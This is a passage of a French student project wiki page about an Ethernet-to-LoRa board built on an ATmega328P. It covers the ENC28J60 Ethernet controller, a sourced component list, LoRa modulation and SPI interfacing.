 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. La puce enc28j60 est Microship présente le premier controleur Ethernet 10BASE-T(10Mbits/s) reference ENC28J60 se laissant facilement piloter via un bus SPI(Serial Programming Interface) par un microcontroleur et ne comportant que 28 broches pour un boitier au format DIL.&lt;br /&gt;
Ce contrôleur Ethernet dispose d'un module MAC et PHY intégrés et de 8ko de mémoire tampon permettant de minimiser la complexité de la mise en oeuvre et le coût. Les applications visées sont : la VoIP, l'automation industrielle, l'automation de bâtiment, l'instrumentation, la sécurité et la domotique.&lt;br /&gt;
Jusqu'à lors, on ne trouvait sur le marché que des contrôleurs Ethernet tels que le RTL8019AS de Realtek. Ce circuit n'existait qu'au format CMS (boitier PQFP) composé d'une centaine de broches dont le tiers étaient destinées au bus de communication parallèle (adresses et données). Bref, sa mise en oeuvre était pour le moins ardue que ce soit sur le plan du routage du circuit imprimé que pour la soudure du composant.&lt;br /&gt;
Ainsi, grâce à son faible nombre de broches faciles à souder, le ENC28J60 permet une intégration sensiblement facilité dans votre réseau domestique en lui couplant un microcontrôleur afin de piloter les fonctionnalités Ethernet. Disponible en boitier DIL (DIP), il reste la solution la moins chère pour la mise en oeuvre d'un projet connecté au réseau Ethernet.&lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
*1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
*2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
*3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
*4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
*5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
*6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
*7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:ether.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
